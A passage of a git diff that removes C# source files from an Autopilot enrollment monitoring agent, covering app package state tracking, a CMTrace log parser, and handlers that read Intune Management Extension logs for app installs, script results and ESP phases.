(updated) - { - AppPackageState.SortErrorsToTop = IsAllCompleted(); - Sort(); - } - return updated; - } - - /// - /// Sets the current package being processed - /// - public void SetCurrent(string id) - { - CurrentPackageId = id; - } - - /// - /// Adds an ID to the ignore list - /// - public bool AddToIgnoreList(string id) - { - if (string.IsNullOrEmpty(id)) - return false; - - return IgnoreList.Add(id); // HashSet.Add returns false if already present (case-insensitive) - } - - /// - /// Checks if all required apps are completed - /// - public bool IsAllCompleted() - { - if (!this.Any()) return false; - - var allRequiredComplete = this.Where(x => x.IsRequired).All(x => x.IsCompleted); - if (allRequiredComplete) - { - // Mark dependency-only packages that IME never touched as Skipped - foreach (var pkg in this.Where(x => !x.IsRequired && x.InstallationState == AppInstallationState.Unknown)) - pkg.UpdateState(AppInstallationState.Skipped); - } - return allRequiredComplete; - } - - /// - /// Gets the first non-completed package (for display) - /// - public AppPackageState ActivePackage => this.FirstOrDefault(x => !x.IsCompleted); - - public int CountAll => Count; - public int CountCompleted => this.Count(x => x.IsCompleted); - public bool HasError => this.Any(x => x.IsError); - public int ErrorCount => this.Count(x => x.IsError); - - /// - /// Gets summary data for event emission - /// - public Dictionary GetSummaryData() - { - return new Dictionary - { - { "totalApps", CountAll }, - { "completedApps", CountCompleted }, - { "errorCount", ErrorCount }, - { "deviceErrors", this.Count(x => x.IsError && x.Targeted == AppTargeted.Device) }, - { "userErrors", this.Count(x => x.IsError && x.Targeted == AppTargeted.User) }, - { "hasErrors", HasError }, - { "isAllCompleted", IsAllCompleted() }, - { "ignoredCount", IgnoreList.Count }, - // State-breakdown for UI progress displays (replaces the full "apps" array - // which could exceed Azure Table Storage's 64KB property limit with 150+ apps) - { "downloading", this.Count(x => x.InstallationState == AppInstallationState.Downloading) }, - { "installing", this.Count(x => x.InstallationState == AppInstallationState.Installing) }, - { "installed", this.Count(x => x.InstallationState == AppInstallationState.Installed) }, - { "skipped", this.Count(x => x.InstallationState == AppInstallationState.Skipped) }, - { "failed", this.Count(x => x.InstallationState == AppInstallationState.Error) }, - { "postponed", this.Count(x => x.InstallationState == AppInstallationState.Postponed) }, - { "pending", this.Count(x => x.InstallationState < AppInstallationState.Downloading) }, - // App names per status category for diagnostics (typically few entries per category, - // well within Azure Table Storage's 64KB/30K-char limit even with 150+ apps) - { "pendingNames", this.Where(x => x.InstallationState < AppInstallationState.Downloading).Select(x => x.Name).ToList() }, - { "failedNames", this.Where(x => x.InstallationState == AppInstallationState.Error).Select(x => x.Name).ToList() }, - { "postponedNames", this.Where(x => x.InstallationState == AppInstallationState.Postponed).Select(x => x.Name).ToList() }, - { "installedNames", this.Where(x => x.InstallationState == AppInstallationState.Installed).Select(x => x.Name).ToList() }, - { "skippedNames", this.Where(x => x.InstallationState == AppInstallationState.Skipped).Select(x => x.Name).ToList() } - }; - } - - /// - /// Gets all package states as a list of dictionaries for final status dump. - /// Reuses AppPackageState.ToEventData() which includes state, error info, DO telemetry. - /// - public List> ToFinalStatusList() - { - return this.Select(pkg => pkg.ToEventData()).ToList(); - } - - /// - /// Recursively gets all dependent package IDs (packages that depend on the given parent) - /// - private HashSet GetDependentIdsDeep(string parentId, int level = 0) - { - var result = new HashSet(); - try - { - level++; - if (level > 10) - { - _logger?.Warning("Dependency tree deeper than 10 levels - possible circular dependency"); - return result; - } - - foreach (var dependent in this.Where(x => x.DependsOn.Contains(parentId)).Select(x => x.Id)) - { - result.Add(dependent); - result.UnionWith(GetDependentIdsDeep(dependent, level)); - } - } - catch (Exception ex) - { - _logger?.Warning($"Error resolving dependencies for {parentId}: {ex.Message}"); - } - - return result; - } - - private static AppRunAs GetRunAsFromPolicy(Dictionary policy) - { - try - { - object installExObj; - if (policy.TryGetValue("InstallEx", out installExObj)) - return ExtractRunAsFromInstallEx(installExObj); - } - catch { } - return AppRunAs.Unknown; - } - - private static AppRunAs ExtractRunAsFromInstallEx(object installExObj) - { - try - { - if (installExObj is Dictionary installEx) - { - object runAsObj; - if (installEx.TryGetValue("RunAs", out runAsObj)) - return (AppRunAs)Convert.ToInt32(runAsObj); - } - // Handle as JSON string - var str = installExObj?.ToString(); - if (!string.IsNullOrEmpty(str)) - { - var json = System.Text.Json.JsonSerializer.Deserialize>(str); - if (json != null) - { - object runAsObj; - if (json.TryGetValue("RunAs", out runAsObj)) - return (AppRunAs)Convert.ToInt32(runAsObj.ToString()); - } - } - } - catch { } - return AppRunAs.Unknown; - } - - private static HashSet ExtractDependencies(object flatDepsObj, string appId) - { - try - { - if (flatDepsObj == null) return new HashSet(); - - var deps = flatDepsObj as List; - if (deps == null) return new HashSet(); - - var result = new HashSet(); - foreach (var dep in deps) - { - var depDict = dep as Dictionary; - if (depDict == null) continue; - - object actionObj, appIdObj, childIdObj, typeObj, levelObj; - if (depDict.TryGetValue("Action", out actionObj) && - depDict.TryGetValue("AppId", out appIdObj) && - depDict.TryGetValue("ChildId", out childIdObj) && - depDict.TryGetValue("Type", out typeObj) && - depDict.TryGetValue("Level", out levelObj)) - { - if (Convert.ToInt32(actionObj) == 10 && - string.Equals(appIdObj?.ToString(), appId, StringComparison.OrdinalIgnoreCase) && - Convert.ToInt32(typeObj) == 0 && - Convert.ToInt32(levelObj) == 0) - { - result.Add(childIdObj.ToString()); - } - } - } - return result; - } - catch { } - return new HashSet(); - } - - private void LogStates() - { - if (_logger == null) return; - var stateList = string.Join(", ", this.Select(x => $"{x.Name ?? x.Id}:{x.InstallationState}")); - _logger.Debug($"App states [{Count}]: {stateList}"); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/CmTraceLogParser.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/CmTraceLogParser.cs deleted file mode 100644 index 9130782e..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/CmTraceLogParser.cs +++ /dev/null @@ -1,129 +0,0 @@ -using System; -using System.Globalization; -using System.Text.RegularExpressions; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime -{ - /// - /// Represents a single parsed line from a CMTrace-format log file - /// - public class CmTraceLogEntry - { - public DateTime Timestamp { get; set; } - public string Message { get; set; } - public string Component { get; set; } - public int Type { get; set; } // 1=Info, 2=Warning, 3=Error - public string Thread { get; set; } - } - - /// - /// Parses CMTrace/SCCM log format used by IME and other Microsoft components. - /// Format: <![LOG[{message}]LOG]!><time="{time}" date="{date}" component="{comp}" context="" type="{type}" thread="{thread}" file=""> - /// - public static class CmTraceLogParser - { - // Pre-compiled regex for the CMTrace format - private static readonly Regex CmTraceRegex = new Regex( - @".*)\]LOG\]!>[\d:.]+)""\s+date=""(?[\d-]+)""\s+component=""(?[^""]*)""\s+context=""[^""]*""\s+type=""(?\d+)""\s+thread=""(?\d+)""\s+file=""[^""]*"">", - RegexOptions.Compiled | RegexOptions.Singleline - ); - - /// - /// Attempts to parse a single line of CMTrace-formatted log. - /// Returns true if parsing succeeded, false if the line doesn't match the format. - /// - public static bool TryParseLine(string line, out CmTraceLogEntry entry) - { - entry = null; - - if (string.IsNullOrEmpty(line) || !line.StartsWith(" 7) - fraction = fraction.Substring(0, 7); - normalizedTime = timeParts[0] + "." + fraction; - } - else - { - normalizedTime = timeStr; - } - - var combined = dateStr + " " + normalizedTime; - - // Try multiple date formats to handle varying date styles - string[] formats = new[] - { - "M-d-yyyy H:mm:ss.fffffff", - "M-d-yyyy H:mm:ss.ffffff", - "M-d-yyyy H:mm:ss.fffff", - "M-d-yyyy H:mm:ss.ffff", - "M-d-yyyy H:mm:ss.fff", - "M-d-yyyy H:mm:ss.ff", - "M-d-yyyy H:mm:ss.f", - "M-d-yyyy H:mm:ss", - "M-d-yyyy HH:mm:ss.fffffff", - "M-d-yyyy HH:mm:ss.ffffff", - "M-d-yyyy HH:mm:ss.fffff", - "M-d-yyyy HH:mm:ss.ffff", - "M-d-yyyy HH:mm:ss.fff", - "M-d-yyyy HH:mm:ss.ff", - "M-d-yyyy HH:mm:ss.f", - "M-d-yyyy HH:mm:ss" - }; - - // CMTrace timestamps are always in LOCAL time. Parse as local, then convert to UTC. - if (DateTime.TryParseExact(combined, formats, CultureInfo.InvariantCulture, - DateTimeStyles.AssumeLocal, out result)) - { - result = result.ToUniversalTime(); - return true; - } - return false; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeLogTracker.Handlers.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeLogTracker.Handlers.cs deleted file mode 100644 index 4116da6c..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeLogTracker.Handlers.cs +++ /dev/null @@ -1,580 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text.Json; -using System.Text.RegularExpressions; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime -{ - /// - /// Partial: Event handlers for pattern matches (app state, scripts, ESP phases), - /// telemetry processing, and utility methods. - /// - public partial class ImeLogTracker - { - private void HandleDoTelemetry(string json) - { - try - { - using var doc = JsonDocument.Parse(json); - var root = doc.RootElement; - - // Extract app GUID from FileId - string fileId = root.TryGetProperty("FileId", out var fileIdProp) - ? fileIdProp.GetString() : null; - - if (string.IsNullOrEmpty(fileId)) - { - _logger.Debug("ImeLogTracker: DO TEL entry has no FileId, skipping"); - return; - } - - string appId = ExtractAppIdFromDoFileId(fileId); - if (string.IsNullOrEmpty(appId)) - { - appId = _packageStates.CurrentPackageId; - _logger.Debug($"ImeLogTracker: Could not extract app ID from DO FileId, using current app: {appId}"); - } - - if (string.IsNullOrEmpty(appId)) return; - - var pkg = _packageStates.GetPackage(appId); - if (pkg == null) - { - _logger.Debug($"ImeLogTracker: DO TEL for unknown app {appId}, skipping"); - return; - } - - // Extract all DO fields - long fileSize = root.TryGetProperty("FileSize", out var p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0; - long totalBytes = root.TryGetProperty("TotalBytesDownloaded", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0; - long bytesFromPeers = root.TryGetProperty("BytesFromPeers", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0; - int peerCachingPct = root.TryGetProperty("PercentPeerCaching", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt32() : 0; - long bytesLanPeers = root.TryGetProperty("BytesFromLanPeers", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0; - long bytesGroupPeers = root.TryGetProperty("BytesFromGroupPeers", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0; - long bytesInternetPeers = root.TryGetProperty("BytesFromInternetPeers", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0; - int downloadMode = root.TryGetProperty("DownloadMode", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt32() : -1; - string downloadDuration = root.TryGetProperty("DownloadDuration", out p) && p.ValueKind == JsonValueKind.String ? p.GetString() : null; - long bytesFromHttp = root.TryGetProperty("BytesFromHttp", out p) && p.ValueKind == JsonValueKind.Number ? p.GetInt64() : 0; - - pkg.UpdateDoTelemetry(fileSize, totalBytes, bytesFromPeers, peerCachingPct, - bytesLanPeers, bytesGroupPeers, bytesInternetPeers, - downloadMode, downloadDuration, bytesFromHttp); - - _logger.Info($"ImeLogTracker: DO TEL for {pkg.Name ?? appId}: " + - $"size={fileSize}, peers={bytesFromPeers} ({peerCachingPct}%), " + - $"http={bytesFromHttp}, mode={downloadMode}, duration={downloadDuration}"); - - OnDoTelemetryReceived?.Invoke(pkg); - _stateDirty = true; - } - catch (Exception ex) - { - _logger.Warning($"ImeLogTracker: Failed to parse DO TEL JSON: {ex.Message}"); - } - } - - /// - /// Extracts app GUID from DO FileId string. - /// Format: ...intunewin-bin_{appGuid}_{number} - /// Falls back to trying the second-to-last GUID-like segment. - /// - internal static string ExtractAppIdFromDoFileId(string fileId) - { - // Primary: look for "intunewin-bin_" marker - const string marker = "intunewin-bin_"; - var idx = fileId.IndexOf(marker, StringComparison.OrdinalIgnoreCase); - if (idx >= 0) - { - var afterMarker = fileId.Substring(idx + marker.Length); - if (afterMarker.Length >= 36) - { - var candidate = afterMarker.Substring(0, 36); - if (Guid.TryParse(candidate, out var guid)) - return guid.ToString().ToLowerInvariant(); - } - } - - // Fallback: split by underscore and find GUIDs, take the second-to-last one - var segments = fileId.Split('_'); - for (int i = segments.Length - 2; i >= 0; i--) - { - if (Guid.TryParse(segments[i], out var guid)) - return guid.ToString().ToLowerInvariant(); - } - - return null; - } - - // ----------------------------------------------------------------------- - // PowerShell script tracking handlers - // ----------------------------------------------------------------------- - - private ScriptExecutionState GetCurrentScript(Dictionary parameters) - { - var scriptType = parameters != null && parameters.TryGetValue("scriptType", out var st) ? st : null; - return string.Equals(scriptType, "remediation", StringComparison.OrdinalIgnoreCase) - ? _currentRemediationScript - : GetCurrentPlatformScript(); - } - - private ScriptExecutionState GetCurrentPlatformScript() - { - if (!string.IsNullOrEmpty(_lastPlatformScriptPolicyId) && - _pendingPlatformScripts.TryGetValue(_lastPlatformScriptPolicyId, out var state)) - return state; - return null; - } - - private void HandleScriptStarted(Match match, Dictionary parameters) - { - var id = match.Groups["id"]?.Value; - var scriptType = parameters != null && parameters.TryGetValue("scriptType", out var st) ? st : "platform"; - var source = parameters != null && parameters.TryGetValue("source", out var src) ? src : null; - - if (string.IsNullOrEmpty(id)) - { - _logger.Debug("ImeLogTracker: scriptStarted with no policyId captured, skipping"); - return; - } - - if (string.Equals(scriptType, "remediation", StringComparison.OrdinalIgnoreCase)) - { - // Flush any pending remediation script (shouldn't happen normally, but defensive) - if (_currentRemediationScript != null) - { - _logger.Debug($"ImeLogTracker: flushing pending remediation script {_currentRemediationScript.PolicyId}"); - EmitScriptEvent(_currentRemediationScript); - } - - _currentRemediationScript = new ScriptExecutionState - { - PolicyId = id, - ScriptType = "remediation", - ScriptPart = "detection" // detection runs first; updated if remediation runs - }; - _logger.Info($"ImeLogTracker: remediation script started: {id}"); - } - else - { - // Platform script: AgentExecutor.log entries create/enrich, IME log entries also create - if (!_pendingPlatformScripts.ContainsKey(id)) - { - _pendingPlatformScripts[id] = new ScriptExecutionState - { - PolicyId = id, - ScriptType = "platform" - }; - } - _lastPlatformScriptPolicyId = id; - _logger.Info($"ImeLogTracker: platform script started: {id} (source: {source ?? "ime"})"); - } - } - - private void HandleScriptContext(Match match, Dictionary parameters) - { - var context = match.Groups["context"]?.Value; - if (string.IsNullOrEmpty(context)) return; - - var runContext = string.Equals(context, "machine", StringComparison.OrdinalIgnoreCase) ? "System" : "User"; - var script = GetCurrentScript(parameters); - if (script != null) - { - script.RunContext = runContext; - _logger.Debug($"ImeLogTracker: script context set to {runContext} for {script.PolicyId}"); - } - } - - private void HandleScriptExitCode(Match match, Dictionary parameters) - { - var exitCodeStr = match.Groups["exitCode"]?.Value; - if (string.IsNullOrEmpty(exitCodeStr) || !int.TryParse(exitCodeStr, out var exitCode)) return; - - var script = GetCurrentScript(parameters); - if (script != null) - { - script.ExitCode = exitCode; - _logger.Debug($"ImeLogTracker: script exit code {exitCode} for {script.PolicyId}"); - } - } - - private void HandleScriptOutput(Match match, Dictionary parameters) - { - var outputType = parameters != null && parameters.TryGetValue("outputType", out var ot) ? ot : null; - var script = GetCurrentScript(parameters); - if (script == null) return; - - // PS-AGENT-OUTPUT captures both stdout and stderr in one pattern - var output = match.Groups["output"]?.Value; - var error = match.Groups["error"]?.Value; - - if (!string.IsNullOrEmpty(output) && !string.IsNullOrEmpty(error)) - { - // Combined pattern (write output done. output = ..., error = ...) - script.Stdout = TruncateOutput(output.Trim()); - script.Stderr = TruncateOutput(error.Trim()); - } - else if (string.Equals(outputType, "stderr", StringComparison.OrdinalIgnoreCase)) - { - script.Stderr = TruncateOutput(output?.Trim()); - } - else - { - script.Stdout = TruncateOutput(output?.Trim()); - } - - _logger.Debug($"ImeLogTracker: script output captured for {script.PolicyId} (type: {outputType ?? "combined"})"); - } - - private void HandleScriptCompleted(Match match, Dictionary parameters) - { - var scriptType = parameters != null && parameters.TryGetValue("scriptType", out var st) ? st : "platform"; - var part = parameters != null && parameters.TryGetValue("part", out var p) ? p : null; - - if (string.Equals(scriptType, "remediation", StringComparison.OrdinalIgnoreCase)) - { - if (_currentRemediationScript == null) return; - - var compliance = match.Groups["compliance"]?.Value; - var id = match.Groups["id"]?.Value; - - _currentRemediationScript.ComplianceResult = compliance; - if (!string.IsNullOrEmpty(part)) - _currentRemediationScript.ScriptPart = part; - if (!string.IsNullOrEmpty(id)) - _currentRemediationScript.PolicyId = id; // confirm policyId from compliance line - - _logger.Info($"ImeLogTracker: remediation detection completed: {_currentRemediationScript.PolicyId}, " + - $"compliance={compliance}, exit={_currentRemediationScript.ExitCode}"); - - EmitScriptEvent(_currentRemediationScript); - _currentRemediationScript = null; - } - else - { - // Platform script: final result from IntuneManagementExtension.log - var id = match.Groups["id"]?.Value; - var result = match.Groups["result"]?.Value; - - if (string.IsNullOrEmpty(id)) return; - - // Merge with pending AgentExecutor data if available - if (!_pendingPlatformScripts.TryGetValue(id, out var script)) - { - script = new ScriptExecutionState - { - PolicyId = id, - ScriptType = "platform" - }; - } - - script.Result = result; - - _logger.Info($"ImeLogTracker: platform script completed: {id}, result={result}, exit={script.ExitCode}"); - - EmitScriptEvent(script); - _pendingPlatformScripts.Remove(id); - if (string.Equals(_lastPlatformScriptPolicyId, id, StringComparison.OrdinalIgnoreCase)) - _lastPlatformScriptPolicyId = null; - } - } - - private void EmitScriptEvent(ScriptExecutionState script) - { - if (script == null || string.IsNullOrEmpty(script.PolicyId)) return; - OnScriptCompleted?.Invoke(script); - } - - private static string TruncateOutput(string output) - { - if (string.IsNullOrEmpty(output) || output.Length <= MaxScriptOutputLength) - return output; - return output.Substring(0, MaxScriptOutputLength) + "...[truncated]"; - } - - // ----------------------------------------------------------------------- - // IME lifecycle handlers - // ----------------------------------------------------------------------- - - private void HandleImeStarted() - { - _logger.Info("ImeLogTracker: IME Agent Started detected"); - - // Log any currently active app — it will be re-evaluated by new log entries after IME restart. - // We intentionally do NOT mark it as Installed here because IME may retry the app. - if (!string.IsNullOrEmpty(_packageStates.CurrentPackageId)) - { - var currentPkg = _packageStates.GetPackage(_packageStates.CurrentPackageId); - if (currentPkg?.IsActive == true) - _logger.Info($"ImeLogTracker: Active package {currentPkg.Name ?? currentPkg.Id} ({currentPkg.InstallationState}) will be re-evaluated after IME restart"); - } - - OnImeStarted?.Invoke(); - } - - private void HandleImeShutdown() - { - _logger.Info("ImeLogTracker: IME shutdown detected — marking all active packages as Postponed"); - - foreach (var pkg in _packageStates.Where(p => p.IsActive).ToList()) - { - _logger.Info($"ImeLogTracker: Postponing active package {pkg.Name ?? pkg.Id} ({pkg.InstallationState})"); - UpdateStateWithCallback(pkg.Id, AppInstallationState.Postponed); - } - } - - private string _lastEspPhaseDetected; - - private void HandleEspPhaseDetected(string espPhaseString) - { - // Validate phase and get its ordinal for forward-only enforcement - int phaseOrd; - if (!EspPhaseOrder.TryGetValue(espPhaseString, out phaseOrd)) - return; // Not a recognized ESP phase - - bool logPhaseIsCurrentPhase = true; // Both DeviceSetup and AccountSetup are "current" - - // Forward-only phase progression: reject backward transitions. - // During AccountSetup, IME may re-evaluate device apps and log "In EspPhase: DeviceSetup" - // which would corrupt tracking if we allowed it to trigger a phase change. - if (phaseOrd < _currentPhaseOrder) - { - _logger.Debug($"ImeLogTracker: ignoring backward phase transition to {espPhaseString} (current phase order: {_currentPhaseOrder})"); - return; - } - - // If the ESP phase actually changed (e.g. DeviceSetup -> AccountSetup), - // move ALL known app IDs into the ignore list so they won't emit events in the new phase. - // We use both _packageStates (apps from policiesdiscovered) AND _seenAppIds (all IDs from - // any pattern match) to ensure comprehensive coverage - apps seen via setcurrentapp, - // esptrackstatus etc. that never entered _packageStates are also silenced. - if (!string.Equals(_lastEspPhaseDetected, espPhaseString, StringComparison.OrdinalIgnoreCase)) - { - if (_lastEspPhaseDetected != null) // Not the first phase detection - { - var ignoredFromStates = 0; - var ignoredFromSeen = 0; - - foreach (var pkg in _packageStates) - { - if (_packageStates.AddToIgnoreList(pkg.Id)) - ignoredFromStates++; - } - foreach (var appId in _seenAppIds) - { - if (_packageStates.AddToIgnoreList(appId)) - ignoredFromSeen++; - } - - _logger.Info($"ImeLogTracker: ESP phase changed from {_lastEspPhaseDetected} to {espPhaseString} - " + - $"silenced {ignoredFromStates} packages + {ignoredFromSeen} additional seen IDs " + - $"(total ignore list: {_packageStates.IgnoreList.Count})"); - - // Snapshot package states from the completed phase before clearing - if (_packageStates.CountAll > 0) - { - _phasePackageSnapshots[_lastEspPhaseDetected] = _packageStates.ToFinalStatusList(); - _logger.Info($"ImeLogTracker: Snapshotted {_packageStates.CountAll} package states from {_lastEspPhaseDetected} phase"); - } - - _packageStates.Clear(); - _packageStates.SetCurrent(""); // Reset current package to avoid stale device-phase reference - _seenAppIds.Clear(); - _allAppsCompletedFired = false; - } - _lastEspPhaseDetected = espPhaseString; - _currentPhaseOrder = phaseOrd; - } - - _logger.Info($"ImeLogTracker: ESP phase detected: {espPhaseString}"); - ActivatePatterns(logPhaseIsCurrentPhase); - - OnEspPhaseChanged?.Invoke(espPhaseString); - } - - private void HandleEspTrackStatus(Match match) - { - var from = match.Groups["from"]?.Value; - var to = match.Groups["to"]?.Value; - var id = match.Groups["id"]?.Value; - - if (string.IsNullOrEmpty(id) || string.IsNullOrEmpty(to)) return; - - var pkg = _packageStates.GetPackage(id); - var label = pkg?.Name ?? id; - - if (string.Equals(to, "InProgress", StringComparison.OrdinalIgnoreCase)) - { - _logger.Info($"ImeLogTracker: ESP track status {label}: {from} -> InProgress"); - _packageStates.SetCurrent(id); - UpdateStateWithCallback(id, AppInstallationState.Installing); - } - else if (string.Equals(to, "Completed", StringComparison.OrdinalIgnoreCase)) - { - _logger.Info($"ImeLogTracker: ESP track status {label}: {from} -> Completed"); - UpdateStateWithCallback(id, AppInstallationState.Installed); - } - else if (string.Equals(to, "Error", StringComparison.OrdinalIgnoreCase)) - { - _logger.Info($"ImeLogTracker: ESP track status {label}: {from} -> Error"); - UpdateStateWithCallback(id, AppInstallationState.Error, errorPatternId: "IME-ESP-TRACK-STATUS", errorDetail: $"ESP track status changed from {from} to {to}"); - } - } - - private void HandlePoliciesDiscovered(string policiesJson) - { - try - { - var policies = System.Text.Json.JsonSerializer.Deserialize>>(policiesJson); - if (policies != null) - { - // Ignore user-targeted packages during device setup (we only track device phase in general) - _packageStates.AddUpdateFromJsonPolicies(policies, ignoreUserTargeted: false); - _logger.Info($"ImeLogTracker: discovered {policies.Count} policies, tracking {_packageStates.Count} packages"); - OnPoliciesDiscovered?.Invoke(policiesJson); - } - } - catch (Exception ex) - { - _logger.Warning($"ImeLogTracker: failed to parse policies JSON: {ex.Message}"); - } - } - - private void HandleCancelStuckAndSetCurrent(string newId) - { - if (string.IsNullOrEmpty(newId)) return; - - // If current app is stuck in an active state, mark it as skipped - var currentPkg = _packageStates.GetPackage(_packageStates.CurrentPackageId); - if (currentPkg != null && (currentPkg.InstallationState == AppInstallationState.Installing || - currentPkg.InstallationState == AppInstallationState.InProgress || - currentPkg.InstallationState == AppInstallationState.Downloading)) - { - _logger.Info($"ImeLogTracker: cancelling stuck app {currentPkg.Name ?? _packageStates.CurrentPackageId} ({currentPkg.InstallationState}), switching to {newId}"); - UpdateStateWithCallback(_packageStates.CurrentPackageId, AppInstallationState.Skipped); - } - - _packageStates.SetCurrent(newId); - } - - private void UpdateStateWithCallback(string id, AppInstallationState newState, int? progressPercent = null, string errorPatternId = null, string errorDetail = null, string errorCode = null) - { - var pkg = _packageStates.GetPackage(id); - if (pkg == null) return; - - // Set error context before state change so it's available in ToEventData() - if (newState == AppInstallationState.Error && !string.IsNullOrEmpty(errorPatternId)) - pkg.SetErrorContext(errorPatternId, errorDetail, errorCode); - - var oldState = pkg.InstallationState; - var changed = _packageStates.UpdateState(id, newState, progressPercent); - - if (changed) - { - _logger.Info($"ImeLogTracker: {pkg.Name ?? id} state: {oldState} -> {newState}"); - OnAppStateChanged?.Invoke(pkg, oldState, newState); - - // Check if all apps are now completed - only fire once - if (!_allAppsCompletedFired && _packageStates.CountAll > 0 && _packageStates.IsAllCompleted()) - { - _allAppsCompletedFired = true; - _logger.Info($"ImeLogTracker: all {_packageStates.CountAll} apps completed"); - OnAllAppsCompleted?.Invoke(); - } - } - } - - private void UpdateDownloadingWithCallback(string id, string bytes, string ofbytes) - { - var pkg = _packageStates.GetPackage(id); - if (pkg == null) return; - - var oldState = pkg.InstallationState; - var changed = _packageStates.UpdateStateToDownloading(id, bytes, ofbytes); - - if (changed) - { - _logger.Debug($"ImeLogTracker: {pkg.Name ?? id} downloading: {bytes}/{ofbytes}"); - OnAppStateChanged?.Invoke(pkg, oldState, AppInstallationState.Downloading); - } - } - - private void ActivatePatterns(bool logPhaseIsCurrentPhase, bool force = false) - { - if (!force && _logPhaseIsCurrentPhase == logPhaseIsCurrentPhase) - return; - - var patterns = new List(_patternsAlways); - if (logPhaseIsCurrentPhase) - { - patterns.AddRange(_patternsCurrentPhase); - _lastLogTimestamp = DateTime.MinValue; // Reset simulation delay - } - else - { - patterns.AddRange(_patternsOtherPhases); - } - - _activePatterns = patterns; - _packageStates.SetCurrent(""); // Reset current package - _logPhaseIsCurrentPhase = logPhaseIsCurrentPhase; - } - - private async Task ApplySimulationDelay(DateTime logTimestamp, CancellationToken token) - { - if (!SimulationMode || logTimestamp == DateTime.MinValue) - return; - - if (_lastLogTimestamp != DateTime.MinValue) - { - var timeSpan = logTimestamp - _lastLogTimestamp; - if (timeSpan.TotalMilliseconds > 0) - { - var delayMs = (int)(timeSpan.TotalMilliseconds / SpeedFactor); - delayMs = Math.Max(0, Math.Min(delayMs, 5000)); // Cap at 5 seconds - if (delayMs > 0) - await Task.Delay(delayMs, token); - } - } - _lastLogTimestamp = logTimestamp; - } - - public void Dispose() - { - Stop(); - _cts?.Dispose(); - } - - private void WriteMatchLog(string sourceFile, string rawLine, string patternId) - { - if (string.IsNullOrEmpty(_matchLogPath)) return; - try - { - var entry = $"[{Path.GetFileName(sourceFile)}] [{patternId}] {rawLine}"; - lock (_matchLogLock) - { - File.AppendAllText(_matchLogPath, entry + Environment.NewLine); - } - } - catch { } - } - - /// - /// A compiled regex pattern with its action and parameters - /// - private class CompiledPattern - { - public string PatternId { get; set; } - public Regex Regex { get; set; } - public string Action { get; set; } - public Dictionary Parameters { get; set; } - } - } -} - diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeLogTracker.LogProcessing.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeLogTracker.LogProcessing.cs deleted file mode 100644 index 35da30e5..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ImeLogTracker.LogProcessing.cs +++ /dev/null @@ -1,403 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Text.RegularExpressions; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime -{ - /// - /// Partial: Log file polling and pattern matching logic. - /// - public partial class ImeLogTracker - { - private async Task CheckLogFilesAsync(CancellationToken token) - { - if (!Directory.Exists(_logFolder)) - return; - - // Get all matching log files, sorted by name (archived files come before current) - var files = new List(); - foreach (var pattern in LogFilePatterns) - { - try - { - files.AddRange(Directory.GetFiles(_logFolder, pattern)); - } - catch (DirectoryNotFoundException) { } - } - - files.Sort(StringComparer.OrdinalIgnoreCase); - - foreach (var filePath in files) - { - if (token.IsCancellationRequested) break; - - try - { - var fileInfo = new FileInfo(filePath); - if (!fileInfo.Exists) continue; - - var startPos = _positionTracker.GetSafePosition(filePath, fileInfo.Length); - if (startPos >= fileInfo.Length) - { - _logger.Trace($"ImeLogTracker: {Path.GetFileName(filePath)} — no new data (pos={startPos}, size={fileInfo.Length})"); - continue; - } - _logger.Trace($"ImeLogTracker: reading {Path.GetFileName(filePath)} from pos {startPos} (size={fileInfo.Length}, delta={fileInfo.Length - startPos})"); - - using (var stream = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) - { - stream.Seek(startPos, SeekOrigin.Begin); - - using (var reader = new StreamReader(stream, Encoding.UTF8, detectEncodingFromByteOrderMarks: true, bufferSize: 1024, leaveOpen: true)) - { - // Buffer for multiline CMTrace entries (e.g. AgentExecutor.log - // "write output done. output = ..." spans many lines) - StringBuilder multiLineBuffer = null; - int multiLineCount = 0; - - string line; - while ((line = await reader.ReadLineAsync()) != null) - { - if (token.IsCancellationRequested) break; - - // --- Multiline CMTrace buffering --- - // CMTrace entries: - // When message contains newlines, the entry spans multiple lines. - // We buffer until we find the closing ]LOG]!> tag. - if (multiLineBuffer != null) - { - // Continuing a multiline entry - multiLineBuffer.Append('\n').Append(line); - multiLineCount++; - - if (line.Contains("]LOG]!>")) - { - // Entry complete — use the assembled line - line = multiLineBuffer.ToString(); - multiLineBuffer = null; - multiLineCount = 0; - } - else if (multiLineCount >= MaxMultiLineBufferLines) - { - // Safety limit — discard to prevent unbounded memory usage - _logger.Debug($"ImeLogTracker: discarding multiline CMTrace buffer after {multiLineCount} lines (corrupt entry?)"); - multiLineBuffer = null; - multiLineCount = 0; - continue; - } - else - { - // Still accumulating — read 